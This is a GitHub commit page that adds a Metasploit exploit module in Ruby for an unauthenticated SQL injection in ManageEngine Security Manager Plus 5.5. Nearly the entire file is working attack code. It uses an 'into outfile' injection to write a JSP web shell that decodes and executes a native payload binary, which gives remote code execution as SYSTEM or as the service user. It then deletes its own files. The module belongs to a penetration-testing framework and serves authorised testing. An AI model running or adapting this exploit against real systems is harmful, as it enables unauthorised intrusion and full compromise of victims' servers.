Skip to content

Commit 4e6b539

Browse files
committed
Merge branch 'manage_engine_sqli' of git://github.com/wchen-r7/metasploit-framework into wchen-r7-manage_engine_sqli
2 parents 320a232 + 8eb790f commit 4e6b539

File tree

1 file changed

+272
-0
lines changed

1 file changed

+272
-0
lines changed
Lines changed: 272 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,272 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::EXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection",
19+
'Description' => %q{
20+
This module exploits a SQL injection found in ManageEngine Security Manager Plus
21+
advanced search page, which results in remote code execution under the context of
22+
SYSTEM in Windows; or as the user in Linux. Authentication is not required in order
23+
to exploit this vulnerability.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'xistence <xistence[at]0x90.nl>', # Discovery & Metasploit module
29+
'sinn3r', # Improved Metasploit module
30+
'egypt' # Improved Metasploit module
31+
],
32+
'References' =>
33+
[
34+
['EDB','22094'],
35+
['BID', '56138']
36+
],
37+
'Platform' => ['win', 'linux'],
38+
'Targets' =>
39+
[
40+
['Automatic', {}],
41+
['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }],
42+
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
43+
],
44+
'DefaultTarget' => 0,
45+
'Privileged' => false,
46+
'DisclosureDate' => "Oct 18 2012"))
47+
48+
register_options(
49+
[
50+
OptPort.new('RPORT', [true, 'The target port', 6262])
51+
], self.class)
52+
end
53+
54+
55+
def check
56+
res = sqli_exec(Rex::Text.rand_text_alpha(1))
57+
58+
if res and res.body =~ /Error during search/
59+
return Exploit::CheckCode::Appears
60+
else
61+
return Exploit::CheckCode::Safe
62+
end
63+
end
64+
65+
66+
def pick_target
67+
return target if target.name != 'Automatic'
68+
69+
rnd_num = Rex::Text.rand_text_numeric(1)
70+
rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
71+
outpath = "../../webapps/SecurityManager/#{rnd_fname}"
72+
73+
@clean_ups << outpath
74+
75+
sqli = "#{rnd_num})) union select @@version,"
76+
sqli << (2..28).map {|e| e} * ","
77+
sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
78+
sqli_exec(sqli)
79+
80+
res = send_request_raw({'uri'=>"/#{rnd_fname}"})
81+
82+
# What @@version returns:
83+
# Linux = 5.0.36-enterprise
84+
# Windows = 5.0.36-enterprise-nt
85+
86+
if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
87+
print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
88+
return targets[1] # Windows target
89+
elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
90+
print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
91+
return targets[2]
92+
end
93+
94+
return nil
95+
end
96+
97+
98+
#
99+
# We're in SecurityManager/bin at this point
100+
#
101+
def on_new_session(cli)
102+
if target['Platform'] == 'linux'
103+
print_warning("Malicious executable is removed during payload execution")
104+
end
105+
106+
if cli.type == 'meterpreter'
107+
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
108+
end
109+
110+
@clean_ups.each { |f|
111+
base = File.basename(f)
112+
f = "../webapps/SecurityManager/#{base}"
113+
print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")
114+
115+
begin
116+
if cli.type == 'meterpreter'
117+
cli.fs.file.rm(f)
118+
else
119+
del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
120+
f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
121+
cli.shell_command_token("#{del_cmd} \"#{f}\"")
122+
end
123+
124+
print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
125+
rescue ::Exception => e
126+
print_error("Unable to delete: #{e.message}")
127+
end
128+
}
129+
end
130+
131+
132+
#
133+
# Embeds our executable in JSP
134+
#
135+
def generate_jsp_payload
136+
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
137+
native_payload = Rex::Text.encode_base64(generate_payload_exe(opts))
138+
native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
139+
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
140+
141+
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
142+
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
143+
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
144+
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
145+
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
146+
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
147+
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
148+
149+
if @my_target['Platform'] == 'linux'
150+
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
151+
chmod = %Q|
152+
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
153+
Thread.sleep(200);
154+
|
155+
156+
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
157+
cleanup = %Q|
158+
Thread.sleep(200);
159+
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
160+
|
161+
else
162+
chmod = ''
163+
cleanup = ''
164+
end
165+
166+
jsp = %Q|
167+
<%@page import="java.io.*"%>
168+
<%@page import="sun.misc.BASE64Decoder"%>
169+
170+
<%
171+
byte[] #{var_raw} = null;
172+
BufferedOutputStream #{var_ostream} = null;
173+
try {
174+
String #{var_buf} = "#{native_payload}";
175+
176+
BASE64Decoder #{var_decoder} = new BASE64Decoder();
177+
#{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
178+
179+
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
180+
String #{var_path} = #{var_tmp}.getAbsolutePath();
181+
182+
#{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
183+
#{var_ostream}.write(#{var_raw});
184+
#{var_ostream}.close();
185+
#{chmod}
186+
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
187+
#{cleanup}
188+
} catch (Exception e) {
189+
}
190+
%>
191+
|
192+
193+
jsp = jsp.gsub(/\n/, '')
194+
jsp = jsp.gsub(/\t/, '')
195+
196+
jsp.unpack("H*")[0]
197+
end
198+
199+
def sqli_exec(sqli_string)
200+
cookie = 'STATE_COOKIE=&'
201+
cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
202+
cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
203+
cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
204+
cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
205+
cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
206+
cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
207+
cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
208+
cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
209+
cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'
210+
211+
state_id = Rex::Text.rand_text_numeric(5)
212+
213+
send_request_cgi({
214+
'method' => 'POST',
215+
'uri' => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
216+
'headers' => {
217+
'Cookie' => cookie,
218+
'Accept-Encoding' => 'identity'
219+
},
220+
'vars_get' => {
221+
'reqType' =>'AdvanceSearch',
222+
'SUBREQUEST' =>'XMLHTTP'
223+
},
224+
'vars_post' => {
225+
'ANDOR' => 'and',
226+
'condition_1' => 'OpenPorts@PORT',
227+
'operator_1' => 'IN',
228+
'value_1' => sqli_string,
229+
'COUNT' => '1'
230+
}
231+
})
232+
end
233+
234+
#
235+
# Run the actual exploit
236+
#
237+
def inject_exec(out)
238+
hex_jsp = generate_jsp_payload
239+
rnd_num = Rex::Text.rand_text_numeric(1)
240+
sqli = "#{rnd_num})) union select 0x#{hex_jsp},"
241+
sqli << (2..28).map {|e| e} * ","
242+
sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
243+
244+
print_status("#{rhost}:#{rport} - Trying SQL injection...")
245+
sqli_exec(sqli)
246+
247+
fname = "/#{File.basename(out)}"
248+
print_status("#{rhost}:#{rport} - Requesting #{fname}")
249+
send_request_raw({'uri' => fname})
250+
251+
handler
252+
end
253+
254+
255+
def exploit
256+
# This is used to collect files we want to delete later
257+
@clean_ups = []
258+
259+
@my_target = pick_target
260+
if @my_target.nil?
261+
print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
262+
return
263+
end
264+
265+
jsp_name = rand_text_alpha(rand(6)+3)
266+
outpath = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"
267+
268+
@clean_ups << outpath
269+
270+
inject_exec(outpath)
271+
end
272+
end

0 commit comments

Comments
 (0)